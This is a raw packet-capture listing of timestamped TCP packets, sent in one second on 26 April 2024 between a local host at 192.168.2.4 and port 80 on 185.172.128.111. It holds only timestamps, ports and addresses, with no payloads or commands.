Apr 26, 2024 09:41:03.977763891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977881908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977943897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978013039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978075981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978081942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978142023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978239059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978276968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978302956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978313923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978332996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978368044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978383064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978420973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978444099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978456974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978471041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978513956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978559971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978621006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978902102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.978966951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.978981972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979042053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979186058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979224920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979250908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979264021 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979281902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979315996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979331017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979367971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979388952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979428053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979438066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979476929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979499102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979515076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979533911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979567051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979583025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979619980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979636908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979676962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979752064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979814053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979850054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979892015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.979914904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979945898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.979979038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.980038881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.980138063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.980200052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.980269909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.980290890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.980331898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.980355978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.980360031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.980407953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.980828047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.980887890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.981089115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.981144905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.981158972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.981206894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.981213093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.981261015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.981265068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.981277943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.981316090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.981338024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.981347084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.981399059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.981400967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.981451035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.981472015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.981530905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.208997965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209054947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209095955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209100962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209148884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209155083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209193945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209213018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209230900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209253073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209269047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209280014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209326029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209398985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209460974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209554911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209619045 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209628105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209667921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209685087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209705114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209722996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209762096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209774017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209813118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209849119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209877968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209877968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209887028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209927082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209947109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.209964037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.209985018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.210020065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.210067034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.210103989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.210133076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.210165977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.210233927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.210295916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.210397005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.210465908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.210827112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.210867882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.210894108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.210928917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.210937023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.210995913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.211082935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.211121082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.211146116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.211174965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.211890936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.211935043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.211957932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.211971998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.211997986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.212024927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.212121010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.212189913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.212364912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.212428093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.212472916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.212512970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.212529898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.212567091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.212584972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.212644100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.212750912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.212811947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.212824106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.212881088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213057995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213121891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213346004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213406086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213452101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213512897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213521957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213562012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213587999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213635921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213665009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213718891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213732958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213810921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213872910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213912964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.213937044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.213964939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214063883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.214132071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214333057 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.214396954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214441061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.214505911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214586020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.214623928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.214656115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214660883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.214687109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214716911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214761972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.214817047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214864969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.214927912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.214943886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.215003014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.215049028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.215087891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.215111017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.215140104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.215176105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.215240955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.215964079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216026068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216073990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216154099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216192007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216229916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216252089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216284037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216494083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216556072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216574907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216634989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216681004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216739893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216861010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216898918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216923952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216938019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216953993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.216978073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.216996908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217030048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217080116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217140913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217181921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217217922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217247963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217276096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217286110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217346907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217391014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217452049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217478037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217539072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217581034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217619896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217647076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217674017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217751026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217806101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217811108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217844963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.217861891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.217900991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.218003035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.218041897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.218065023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.218095064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.218141079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.218204021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.218281031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.218348026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.218348026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.218405962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219393969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219434023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219460964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219470978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219484091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219511032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219531059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219563961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219614983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219688892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219732046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219769955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219803095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219840050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219846010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219890118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.219902992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219944954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.219959021 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.220019102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.220853090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.220913887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.220926046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.220982075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.221342087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.221385002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.221400976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.221431017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.221431971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.221488953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.221497059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.221560001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.221580982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.221638918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.221658945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.221714020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.221730947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.221743107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.221795082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.222316980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.222378969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.222398996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.222466946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.222949982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.223010063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.223017931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.223069906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.223073006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.223117113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.223125935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.223172903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.223192930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.223251104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.223267078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.223323107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.223345041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.223401070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.223423958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.223484039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.224458933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224489927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224541903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224543095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.224590063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.224601030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224653006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224656105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.224675894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224713087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.224726915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.224734068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224790096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.224889040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224901915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.224950075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.224966049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.225052118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.225083113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.225142956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.225425005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.225481033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.226438999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.226495028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.226543903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.226599932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.226672888 CEST	80	49730	185.172.128.111	192.168.2.4
